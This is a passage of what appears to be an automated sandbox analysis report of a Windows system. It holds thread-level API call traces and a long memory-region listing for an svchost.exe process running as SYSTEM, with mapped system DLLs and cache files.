returned 0x0 [0277.166] EtwEventRegister (in: ProviderId=0x2699f68, EnableCallback=0x1afd13ac, CallbackContext=0x0, RegHandle=0x2699f48 | out: RegHandle=0x2699f48) returned 0x0 [0278.818] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x244700*=0xd8, lpdwindex=0x1ce504 | out: lpdwindex=0x1ce504) returned 0x0 [0281.018] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x244700*=0xd8, lpdwindex=0x1ce504) Thread: id = 453 os_tid = 0x820 Thread: id = 456 os_tid = 0x828 [0263.837] CoGetContextToken (in: pToken=0x1a8ef820 | out: pToken=0x1a8ef820) returned 0x800401f0 [0263.837] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 462 os_tid = 0x840 Thread: id = 492 os_tid = 0x8c0 [0278.288] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0278.289] CoGetContextToken (in: pToken=0x1b26f7f0 | out: pToken=0x1b26f7f0) returned 0x0 [0278.290] CObjectContext::QueryInterface () returned 0x0 [0278.290] CObjectContext::GetCurrentThreadType () returned 0x0 [0278.290] Release () returned 0x0 [0278.290] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0278.291] CoUninitialize () [0288.603] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b26dc18 | out: phkResult=0x1b26dc18*=0x0) returned 0x2 [0288.603] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0288.884] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES\\Idle.exe", nBufferLength=0x105, lpBuffer=0x1b26e750, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES\\Idle.exe", lpFilePart=0x0) returned 0x16 Thread: id = 493 os_tid = 0x8c4 Thread: id = 508 os_tid = 0x904 Thread: id = 552 os_tid = 0x9c4 Thread: id = 553 os_tid = 0x9c8 Thread: id = 554 os_tid = 0x9cc Thread: id = 568 os_tid = 0xa04 [0282.885] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0282.886] CoGetContextToken (in: pToken=0x1ba0f410 | out: pToken=0x1ba0f410) returned 0x0 [0282.887] CObjectContext::QueryInterface () returned 0x0 [0282.887] CObjectContext::GetCurrentThreadType () returned 0x0 [0282.887] Release () returned 0x0 [0282.887] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0282.887] CoUninitialize () Thread: id = 569 os_tid = 0xa08 [0282.890] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0282.891] CoGetContextToken (in: pToken=0x1bb3f670 | out: pToken=0x1bb3f670) returned 0x0 [0282.891] CObjectContext::QueryInterface () returned 0x0 [0282.891] CObjectContext::GetCurrentThreadType () returned 0x0 [0282.891] Release () returned 0x0 [0282.891] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0282.891] CoUninitialize () Process: id = "79" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x27453000" os_pid = "0x350" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "76" os_parent_pid = "0x1c4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e3e5" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 7004 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7005 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 7006 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7007 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 7008 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7009 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 7010 start_va = 0xd0000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 7011 start_va = 0x150000 end_va = 0x150fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 7012 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 7013 start_va = 0x170000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 7014 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 7015 start_va = 0x200000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 7016 start_va = 0x210000 end_va = 0x210fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 7017 start_va = 0x220000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 7018 start_va = 0x320000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 7019 start_va = 0x420000 end_va = 0x5a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 7020 start_va = 0x5b0000 end_va = 0x730fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 7021 start_va = 0x740000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 7022 start_va = 0x800000 end_va = 0x80afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\gpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\gpsvc.dll.mui") Region: id = 7023 start_va = 0x810000 end_va = 0x81cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 7024 start_va = 0x820000 end_va = 0x823fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taskcomp.dll.mui" filename = "\\Windows\\System32\\en-US\\taskcomp.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\taskcomp.dll.mui") Region: id = 7025 start_va = 0x830000 end_va = 0x839fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schedsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\schedsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\schedsvc.dll.mui") Region: id = 7026 start_va = 0x840000 end_va = 0x840fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 7027 start_va = 0x850000 end_va = 0x851fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 7028 start_va = 0x860000 end_va = 0x863fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 7029 start_va = 0x870000 end_va = 0x871fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 7030 start_va = 0x880000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000015.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db") Region: id = 7031 start_va = 0x8b0000 end_va = 0x8b3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 7032 start_va = 0x8c0000 end_va = 0x8cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 7033 start_va = 0x910000 end_va = 0x98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 7034 start_va = 0x9a0000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 7035 start_va = 0xa40000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 7036 start_va = 0xac0000 end_va = 0xb25fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 7037 start_va = 0xb30000 end_va = 0xbaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 7038 start_va = 0xbe0000 end_va = 0xc5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 7039 start_va = 0xc60000 end_va = 0xf2efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 7040 start_va = 0xf30000 end_va = 0xfaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f30000" filename = "" Region: id = 7041 start_va = 0xfb0000 end_va = 0x102ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fb0000" filename = "" Region: id = 7042 start_va = 0x1030000 end_va = 0x10affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001030000" filename = "" Region: id = 7043 start_va = 0x10f0000 end_va = 0x116ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010f0000" filename = "" Region: id = 7044 start_va = 0x11e0000 end_va = 0x125ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011e0000" filename = "" Region: id = 7045 start_va = 0x1280000 end_va = 0x12fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001280000" filename = "" Region: id = 7046 start_va = 0x13c0000 end_va = 0x13cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013c0000" filename = "" Region: id = 7047 start_va = 0x13d0000 end_va = 0x144ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 7048 start_va = 0x14b0000 end_va = 0x152ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000014b0000" filename = "" Region: id = 7049 start_va = 0x1590000 end_va = 0x160ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001590000" filename = "" Region: id = 7050 start_va = 0x1640000 end_va = 0x16bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001640000" filename = "" Region: id = 7051 start_va = 0x1710000 end_va = 0x178ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001710000" filename = "" Region: id = 7052 start_va = 0x1830000 end_va = 0x18affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001830000" filename = "" Region: id = 7053 start_va = 0x1900000 end_va = 0x197ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001900000" filename = "" Region: id = 7054 start_va = 0x1a10000 end_va = 0x1a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a10000" filename = "" Region: id = 7055 start_va = 0x1ad0000 end_va = 0x1b4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ad0000" filename = "" Region: id = 7056 start_va = 0x1c00000 end_va = 0x1c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c00000" filename = "" Region: id = 7057 start_va = 0x1c80000 end_va = 0x1d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c80000" filename = "" Region: id = 7058 start_va = 0x1d80000 end_va = 0x1e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 7059 start_va = 0x77730000 end_va = 0x7784efff monitored = 0 entry_point = 0x77745340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7060 start_va = 0x77850000 end_va = 0x77949fff monitored = 0 entry_point = 0x7786a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7061 start_va = 0x77950000 end_va = 0x77af8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7062 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7063 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7064 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7065 start_va = 0xff8c0000 end_va = 0xff8cafff monitored = 0 entry_point = 0xff8c246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 7066 start_va = 0x7fefab60000 end_va = 0x7fefab68fff monitored = 0 entry_point = 0x7fefab611a0 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 7067 start_va = 0x7fefada0000 end_va = 0x7fefae16fff monitored = 0 entry_point = 0x7fefadaafd0 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 7068 start_va = 0x7fefae20000 end_va = 0x7fefae2efff monitored = 0 entry_point = 0x7fefae27e80 region_type = mapped_file name = "wiarpc.dll" filename = "\\Windows\\System32\\wiarpc.dll" (normalized: "c:\\windows\\system32\\wiarpc.dll") Region: id = 7069 start_va = 0x7fefae30000 end_va = 0x7fefae39fff monitored = 0 entry_point = 0x7fefae3260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 7070 start_va = 0x7fefae40000 end_va = 0x7fefaf51fff monitored = 0 entry_point = 0x7fefae5f354 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 7071 start_va = 0x7fefaf60000 end_va = 0x7fefaf68fff monitored = 0 entry_point = 0x7fefaf63668 region_type = mapped_file name = "fvecerts.dll" filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll") Region: id = 7072 start_va = 0x7fefaf70000 end_va = 0x7fefaf78fff monitored = 0 entry_point = 0x7fefaf71020 region_type = mapped_file name = "tbs.dll" filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll") Region: id = 7073 start_va = 0x7fefaf80000 end_va = 0x7fefafd5fff monitored = 0 entry_point = 0x7fefaf81040 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 7074 start_va = 0x7fefb000000 end_va = 0x7fefb05dfff monitored = 0 entry_point = 0x7fefb009024 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 7075 start_va = 0x7fefb360000 end_va = 0x7fefb373fff monitored = 0 entry_point = 0x7fefb363e64 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 7076 start_va = 0x7fefb410000 end_va = 0x7fefb476fff monitored = 0 entry_point = 0x7fefb426060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 7077 start_va = 0x7fefb480000 end_va = 0x7fefb48afff monitored = 0 entry_point = 0x7fefb484f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 7078 start_va = 0x7fefb490000 end_va = 0x7fefb49bfff monitored = 0 entry_point = 0x7fefb4915d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 7079 start_va = 0x7fefb5d0000 end_va = 0x7fefb5dffff monitored = 0 entry_point = 0x7fefb5d835c region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 7080 start_va = 0x7fefb5e0000 end_va = 0x7fefb5f8fff monitored = 0 entry_point = 0x7fefb5e11a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 7081 start_va = 0x7fefb600000 end_va = 0x7fefb636fff monitored = 0 entry_point = 0x7fefb608424 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 7082 start_va = 0x7fefb670000 end_va = 0x7fefb684fff monitored = 0 entry_point = 0x7fefb6760d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 7083 start_va = 0x7fefb690000 end_va = 0x7fefb751fff monitored = 0 entry_point = 0x7fefb69101c region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 7084 start_va = 0x7fefb810000 end_va = 0x7fefb82cfff monitored = 0 entry_point = 0x7fefb812f18 region_type = mapped_file name = "mmcss.dll" filename = "\\Windows\\System32\\mmcss.dll" (normalized: "c:\\windows\\system32\\mmcss.dll") Region: id = 7085 start_va = 0x7fefb830000 end_va = 0x7fefb838fff monitored = 0 entry_point = 0x7fefb831010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 7086 start_va = 0x7fefb920000 end_va = 0x7fefb94cfff monitored = 0 entry_point = 0x7fefb921010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 7087 start_va = 0x7fefbac0000 end_va = 0x7fefbad4fff monitored = 0 entry_point = 0x7fefbac1050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 7088 start_va = 0x7fefbae0000 end_va = 0x7fefbaebfff monitored = 0 entry_point = 0x7fefbae18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 7089 start_va = 0x7fefbaf0000 end_va = 0x7fefbb05fff monitored = 0 entry_point = 0x7fefbaf11a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 7090 start_va = 0x7fefbd50000 end_va = 0x7fefbd84fff monitored = 0 entry_point = 0x7fefbd51064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 7091 start_va = 0x7fefbea0000 end_va = 0x7fefbeb0fff monitored = 0 entry_point = 0x7fefbea1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 7092 start_va = 0x7fefc1f0000 end_va = 0x7fefc245fff monitored = 0 entry_point = 0x7fefc1fbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 7093 start_va = 0x7fefc250000 end_va = 0x7fefc37bfff monitored = 0 entry_point = 0x7fefc2594bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 7094 start_va = 0x7fefc380000 end_va = 0x7fefc39cfff monitored = 0 entry_point = 0x7fefc381ef4 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 7095 start_va = 0x7fefc570000 end_va = 0x7fefc763fff monitored = 0 entry_point = 0x7fefc6fc924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 7096 start_va = 0x7fefca60000 end_va = 0x7fefca6bfff monitored = 0 entry_point = 0x7fefca61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 7097 start_va = 0x7fefcb30000 end_va = 0x7fefcb36fff monitored = 0 entry_point = 0x7fefcb314b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 7098 start_va = 0x7fefcbf0000 end_va = 0x7fefcbfcfff monitored = 0 entry_point = 0x7fefcbf1348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 7099 start_va = 0x7fefcc30000 end_va = 0x7fefcc4afff monitored = 0 entry_point = 0x7fefcc32068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 7100 start_va = 0x7fefcc50000 end_va = 0x7fefcc6dfff monitored = 0 entry_point = 0x7fefcc513b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 7101 start_va = 0x7fefcd20000 end_va = 0x7fefcd58fff monitored = 0 entry_point = 0x7fefcd2c0f0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 7102 start_va = 0x7fefcd60000 end_va = 0x7fefcd69fff monitored = 0 entry_point = 0x7fefcd63cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 7103 start_va = 0x7fefce90000 end_va = 0x7fefced6fff monitored = 0 entry_point = 0x7fefce91064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 7104 start_va = 0x7fefcf80000 end_va = 0x7fefcfaffff monitored = 0 entry_point = 0x7fefcf8194c region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 7105 start_va = 0x7fefd120000 end_va = 0x7fefd126fff monitored = 0 entry_point = 0x7fefd12142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 7106 start_va = 0x7fefd130000 end_va = 0x7fefd184fff monitored = 0 entry_point = 0x7fefd131054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 7107 start_va = 0x7fefd190000 end_va = 0x7fefd1a7fff monitored = 0 entry_point = 0x7fefd193b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 7108 start_va = 0x7fefd2a0000 end_va = 0x7fefd2d1fff monitored = 0 entry_point = 0x7fefd2a144c region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 7109 start_va = 0x7fefd360000 end_va = 0x7fefd38efff monitored = 0 entry_point = 0x7fefd361064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 7110 start_va = 0x7fefd3b0000 end_va = 0x7fefd3b9fff monitored = 0 entry_point = 0x7fefd3b3b40 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 7111 start_va = 0x7fefd3c0000 end_va = 0x7fefd42cfff monitored = 0 entry_point = 0x7fefd3c1010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 7112 start_va = 0x7fefd430000 end_va = 0x7fefd452fff monitored = 0 entry_point = 0x7fefd431198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 7113 start_va = 0x7fefd720000 end_va = 0x7fefd72afff monitored = 0 entry_point = 0x7fefd721030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 7114 start_va = 0x7fefd760000 end_va = 0x7fefd784fff monitored = 0 entry_point = 0x7fefd769658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 7115 start_va = 0x7fefd790000 end_va = 0x7fefd79efff monitored = 0 entry_point = 0x7fefd791010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 7116 start_va = 0x7fefd7a0000 end_va = 0x7fefd830fff monitored = 0 entry_point = 0x7fefd7a1440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: 